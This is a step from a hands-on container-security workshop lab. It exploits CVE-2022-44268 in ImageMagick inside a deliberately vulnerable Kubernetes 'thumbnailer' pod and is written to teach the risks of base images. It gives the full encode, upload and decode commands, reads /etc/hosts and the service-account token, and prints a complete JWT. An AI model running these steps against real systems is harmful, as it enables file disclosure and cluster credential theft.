Step 3: Exploit a Container Vulnerability

🚨 WARNING 🚨

::alert[This exploit should never be attempted in a running Production Account! This is for testing only!]{type="warning”}

Thumbnailer microservice

Putting an application into a container does not automatically make it secure. To demonstrate the risks of a vulnerable component introduced by our container base image, we will exploit a vulnerability in the ImageMagick package present in the “thumbnailer” pod we’ve deployed to EKS.

Thumbnailer is a microservice written in Python that simply takes an uploaded image and returns a 100x100 scaled down thumbnail version. The application leverages the ImageMagick convert utility to do the work. This is very convenient since the official Python open source conatiner image comes with that tool pre-installed.

Exploit scenario

We will be taking a simple png image file and making a metadata change to it and then will POST it to the Thumbnailer service. Then, we will inspect the returned image and see if any interesting information is embedded in it. The vulnerability we are targeting is CVE-2022-44268 which can allow an attacker to read the contents of a files on the host system via a bug in certain versions of ImageMagick.

Step 1: Add metadata

First we will add a “TEXT” record to an existing PNG image along with the path to whatever file we are trying to read from the targeted server, the pngcrush utility is pre-installed in your VS Code Server environment and script has been provided to simplify it’s use. The following example will set this up for the purpose of reading the /etc/hosts file on the target server:

cd thumbnailer
./exploit.py encode k8s.png /etc/hosts

… which should return:

Encoding /etc/hosts into k8s.png as encoded-k8s.png ...
File encoded as encoded-k8s.png

Step 2: Upload the image and get it’s thumbnail back

Now that we have the payload in the image, we run this command to send it to the Thumbnailer service and get back the reduced size version of the image:

./exploit.py upload encoded-k8s.png $THUMBNAILER_LB
Sending encoded-k8s.png to aa80e1805e2c74bb8ad8475ac9072698-1677396861.us-east-2.elb.amazonaws.com...
Thumbnailed image received as result.png

Step 3: Decode the contents of the returned image

Let’s see what we can find in the image we got back from the Thumbnailer

./exploit.py decode result.png 
Decoding content from /Workshop/goof/thumbnailer/result.png...

Executing: identify -verbose /Workshop/goof/thumbnailer/result.png
# Kubernetes-managed hosts file.
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
192.168.110.116 thumbnailer-6bbfb9cb98-75bvx

That is the hosts file from the container running in our thumbnailer pod!

The impact of this vulnerability

The hosts file of a pod may not be very interesting on its own, but just imagine what else a clever hacker could start to read in there. For example, by what if we went after the serviceaccount token in the pod (which is always there by default):

./exploit.py encode k8s.png /var/run/secrets/kubernetes.io/serviceaccount/token
Encoding /var/run/secrets/kubernetes.io/serviceaccount/token into k8s.png as encoded-k8s.png ...
Executing: pngcrush -text a "profile" "/var/run/secrets/kubernetes.io/serviceaccount/token" k8s.png encoded-k8s.png
File encoded as encoded-k8s.png
./exploit.py upload encoded-k8s.png $THUMBNAILER_LB
Sending encoded-k8s.png to a77b29ff464f044a49f61e3b1ba690ab-1636326975.us-east-2.elb.amazonaws.com...
Executing: curl a77b29ff464f044a49f61e3b1ba690ab-1636326975.us-east-2.elb.amazonaws.com/upload -F 'file=@encoded-k8s.png' --compressed -so result.png
Thumbnailed image received as result.png
./exploit.py decode result.png
Decoding content from /Workshop/goof/thumbnailer/result.png...

Executing: identify -verbose /Workshop/goof/thumbnailer/result.png
eyJhbGciOiJSUzI1NiIsImtpZCI6ImQyNTg5MzY5ZTFkNmY2NzRlYTgwNTU3YTE0MmNiYmQ2N2ViM2FhNjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTcxNzUyMzQxMSwiaWF0IjoxNjg1OTg3NDExLCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tL2lkLzk4NzdENTZCNEE0NDY5QjE5OTQ5MDVCNkM4QjFEQUU2Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJzbnlrLWF3cyIsInBvZCI6eyJuYW1lIjoidGh1bWJuYWlsZXItNmJiZmI5Y2I5OC03NWJ2eCIsInVpZCI6ImE3MjA0OTBiLWM4ZDItNDA5My1hNzI1LTU4NGY2MWI1MmQ0ZiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzOGYzY2M4LWEwZjItNDU4My1hZmZjLWVkMGI0MGE5NzMzOSJ9LCJ3YXJuYWZ0ZXIiOjE2ODU5OTEwMTh9LCJuYmYiOjE2ODU5ODc0MTEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpzbnlrLWF3czpkZWZhdWx0In0.H21Ln1B_nQ-zohoNJuBXnfyg-kN-phiAV9CohV1MLglxUlCXSaLfD6cdQ8qpDv61H_QMSq_XrVsj3Ixad_-OXJE5JzZzjKXM0VKNHLE8JricNRlZ6egJiO2MchozFeEXYIhD6G-4sCnxFatlI54iUIIrDo6QKKt2SsenEHZ6mHWKDLUdqAuw-yflnZSZsuF2jp8G574_ojhq2Qv19eqd6NLfHSiOJ4tfw5Avw_vBno-9-veRLhR7ZN5Qzy8GVofniiQcdItKwVWvCvkkoXQQrk5eueGM0MhQGwgUVa54ywzST0lBVDR7FjyhYVZylt_AfgR_GsZ_BpDEImglW2v--w

This is a credential that could be part of an attack escalation attempt against your Kubernetes API server!

Not the application’s fault

The part of this example that developers, in particular, find most disturbing, is that the vulnerability is not necessarily something wrong in the application code nor the libraries being pulled in. In this example, the vulnerability is in a package bundled with the operating system. The package was included in the selected base image.

Next step

Continue to the next step to learn how to identify these, and other, vulnerabilities in your container images that are introduced by your container base image.